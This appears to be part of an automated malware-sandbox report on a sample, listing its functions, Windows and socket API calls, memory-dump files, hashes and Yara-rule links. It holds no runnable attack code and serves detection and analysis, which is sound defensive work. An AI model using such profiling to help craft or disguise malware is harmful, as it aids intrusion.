Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorLastLibraryLoad
String ID: Could not find module '%.500S' (or one of its dependencies). Try using the full path with constructor syntax.$U|i:LoadLibrary$ctypes.dlopen
API String ID: 3568775529-808210370
Opcode ID: 0ef92c86ac34224fd7b744c122e0fbdae20da82744e633dcfb4756fea1e00fda
Instruction ID: 1f6fc711a0996a6cf0c9c96cebed4e7434102380b1f30ba7ac6b886a8cb4ec06
Opcode Fuzzy Hash: 0ef92c86ac34224fd7b744c122e0fbdae20da82744e633dcfb4756fea1e00fda
Instruction Fuzzy Hash: 672130A1A08E4781EF049B73F85407967A2AF5ABB5F04E036E90E42AB4DE7CE54DC300

Function 00007FF7C2675698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26756C5
CreateFileW.KERNEL32 ref: 00007FF7C2675704
CloseHandle.KERNEL32 ref: 00007FF7C2675739

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: da5c33fd950796afd40a7cb3253b1ab66723926da7e83c5d5a300bda850eb57c
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 0F417122D1878183E650BF20A554379A361FB94B64F509335EAD816FD2DFBCA5E0C770

Function 00007FF7C266CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C266CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7C266CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7C266CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7C266CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7C266CD91

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 2af43a21fc74c0dd2b4060972e7336cc958d749b6054f2b772889b8c6f5dd35c
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: A6316A10E08A4281EA14BF65D4263B9A6A3AF457A8FC44434D5CE67FD7CEFCA404C278

Function 00007FF7C26701AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26701F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26702E7

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 617fc03ff3f9e854066d8498c3b1f98936eb5ea6fb4ea4be974dbb0a4e50e24f
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 2E51E562A0D24286E664BE65A40067AA293AF44FB4F944734EDFC67FC5CFBCE441C630

Function 00007FF7C267C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF7C267C33D), ref: 00007FF7C267C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF7C267C33D), ref: 00007FF7C267C1FA

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 9166d89e9377bcecf70a000bd8166301b1c294d74d640adc35a1f1887f2ae279
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 8F11E261618B8181DA10AF25B804169A362BB41FF4FA40331EEBD5BBE8CFBCD001C720

Function 00007FFB1BA446B0 Relevance: 3.0, APIs: 2, Instructions: 34networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB1BA446E9
WSAGetLastError.WS2_32 ref: 00007FFB1BA44706

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorLastioctlsocket
String ID:
API String ID: 1021210092-0
Opcode ID: 964070f957597cead12d681d8d9d4b975f1a861eb6e29b6fc22a496edc13ce25
Instruction ID: 5dabd3029d1a893abfffc1a86bb849a77838bb7ec6aa0d5864e49b0f3c04a84a
Opcode Fuzzy Hash: 964070f957597cead12d681d8d9d4b975f1a861eb6e29b6fc22a496edc13ce25
Instruction Fuzzy Hash: 3F014471B29E4286E3149B76F44406977A5FF88BF1B58A230DA5E43B74DE3CD4A58700

Function 00007FFB1BA45338 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FFB1BA45368
00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1BA45382

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: 00007A3440closesocket
String ID:
API String ID: 3394225953-0
Opcode ID: 469834960f5fb333051253006ecc6c4dbb46e8df025279c03e012d890aa341a8
Instruction ID: fa7685f216c590f487629512190c701acb9784ef2b78606b743253b3c032152f
Opcode Fuzzy Hash: 469834960f5fb333051253006ecc6c4dbb46e8df025279c03e012d890aa341a8
Instruction Fuzzy Hash: C8F036A1A28F4186D6589B75F44806C7365FF48B75B1CA731DABA03BF0CF7CE4558200

Function 00007FF7C267ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF7C267AA45,?,?,00000000,00007FF7C267AAFA), ref: 00007FF7C267AC36
GetLastError.KERNEL32(?,?,?,00007FF7C267AA45,?,?,00000000,00007FF7C267AAFA), ref: 00007FF7C267AC40

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: d11c77f138bbff2ebabcbba1e267ad5e276477d45bdcd46752a540659b9a8099
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: E0215011B1C64291EA947F61B45427D9293AF84FB0F984235DAAEA7BD1CFFCA845C330

Function 00007FF7C267BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267BF44

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: a524dea2fd5443b9b605d2abb9b29dfd3c99ee1e95fb12a2d6c3c56bcfd47aa7
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: E641B53290864187EA34BE25B54027DB3A2EB55F64F900135DACEA3B95CFADE442CB71

Function 00007FF7C2667F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7C266802A

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 57c2c4b4067f487da02ee57e8c6367b5d15013a29cd3414ac047bd2cce026e08
Instruction ID: cd73bec62f283a293e7dc0aaf6d897f8531808d6072ab5a9e6e6a478bd517c0c
Opcode Fuzzy Hash: 57c2c4b4067f487da02ee57e8c6367b5d15013a29cd3414ac047bd2cce026e08
Instruction Fuzzy Hash: 3621A521B0869195EE10BE2265043BAE662BF45BE4FCC5430EE8D27B86CEBDE045C634

Function 00007FF7C267B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267BA32

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: 2047142ebe03a124250fb7c8311e13d22de2ff8ee8584a4d41f06ab39dcd6330
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction Fuzzy Hash: B6318022A18A4285F7517F65A84137CA662AB80FB4FC54135EAAD23BD2DFFCE441C731

Function 00007FF7C2676004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2675F69

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 8f912d2385c3f88dae71ea351b3bfd1e3355e7a2a62527987b0eac9727fe491f
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: BB111A22A1864181EA61BF51A40027EE266EF85FA4FC44075EE8C67F96DFBDD840CB31

Function 00007FF7C26863C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26863E7

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: c34f2c8fae4a3dc3146a2f8a38d8bfcd3162a30be87cbc6ee9328ec7bc1074e2
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 82219872618641C7D761AF18E440379B6A2FB84B64F944234D6DD57BD9DF7CD400CB20

Function 00007FF7C267042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2670480

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: c9456ceb4fe01632cef678d9aadbf77850c5731ad6fc897e8ae8cbd5d41f32ff
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 2A018E61A0874180EA14FF52A901169E692AF85FF0B984631EEDC27FDADFBCE451C330

Function 00007FFB1BA46894 Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FFB1BA468C3

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 857e2324bf16085a4ea68c05b138027c44fdbe11cde1698f6f4c9787cdbcdc49
Instruction ID: ab83dd7347676288d1b8c56f78e1102c8d155cf452a2ee57fdd349bdf08766b2
Opcode Fuzzy Hash: 857e2324bf16085a4ea68c05b138027c44fdbe11cde1698f6f4c9787cdbcdc49
Instruction Fuzzy Hash: AEE04FF2E24A45C2DB185B66E0442687361F719FB4F68A721DA381B7E0DE38D5E1C740

Function 00007FF7C2669070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C2669400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7C26645E4,00000000,00007FF7C2661985), ref: 00007FF7C2669439

LoadLibraryExW.KERNEL32(?,00007FF7C2666466,?,00007FF7C266336E), ref: 00007FF7C2669092

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 73eda9eaecff5bf44f9f7388716af429d06d22f0ccc674e1ac4a626004a37bf7
Instruction ID: d6d3d1b7817508e32ffa06638550218a770239df7310b8dae4dc9363d09245f5
Opcode Fuzzy Hash: 73eda9eaecff5bf44f9f7388716af429d06d22f0ccc674e1ac4a626004a37bf7
Instruction Fuzzy Hash: 58D08C11B2468581EA54BB77BA4A6299262AFC9BD0F988035EE8D03F5ADC3CC0418B10

Function 00007FF7C267D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7C2670D00,?,?,?,00007FF7C267236A,?,?,?,?,?,00007FF7C2673B59), ref: 00007FF7C267D6AA

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 848aef8e66b9ae2dcdc6520eb95cc69ce6eedd6ff6394df9b344bcc75ee78248
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: BAF03004A0934285FE547F61A85127491D24F54FB0FA80A3098AE65BC1DF9CA480C230

Non-executed Functions

Function 00007FFB0C0E42B0 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 452COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0E4834

Strings

access, xrefs: 00007FFB0C0E46F5
cach, xrefs: 00007FFB0C0E461F
localhos, xrefs: 00007FFB0C0E440E
cache, xrefs: 00007FFB0C0E46CB
mode, xrefs: 00007FFB0C0E460E
no such %s mode: %s, xrefs: 00007FFB0C0E475E
file, xrefs: 00007FFB0C0E432B
%s mode not allowed: %s, xrefs: 00007FFB0C0E47EE
no such vfs: %s, xrefs: 00007FFB0C0E48E4
mode, xrefs: 00007FFB0C0E4791
cach, xrefs: 00007FFB0C0E47B0
invalid uri authority: %.*s, xrefs: 00007FFB0C0E4437

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3122504284-1067337024
Opcode ID: 5f15b9148e8d691bade7ac4299c338194b5adc1f0a67d16e58ed18eaea73a7c4
Instruction ID: d61872a753dfd97880ad88c1b5927c5980d095bdf1e90bc2b2932f42312dbcef
Opcode Fuzzy Hash: 5f15b9148e8d691bade7ac4299c338194b5adc1f0a67d16e58ed18eaea73a7c4
Instruction Fuzzy Hash: 7A0233E2E4C68245FB658BF5D048B792AD1AF52B94F084231CAAF436C2EF3DE545C708

Function 00007FFB0C027336 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 332COMMON

Download Yara Rule

Strings

-x0, xrefs: 00007FFB0C027606
0123456789ABCDEF0123456789abcdef, xrefs: 00007FFB0C027529
VUUU, xrefs: 00007FFB0C02746E
VUUU, xrefs: 00007FFB0C02759B

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
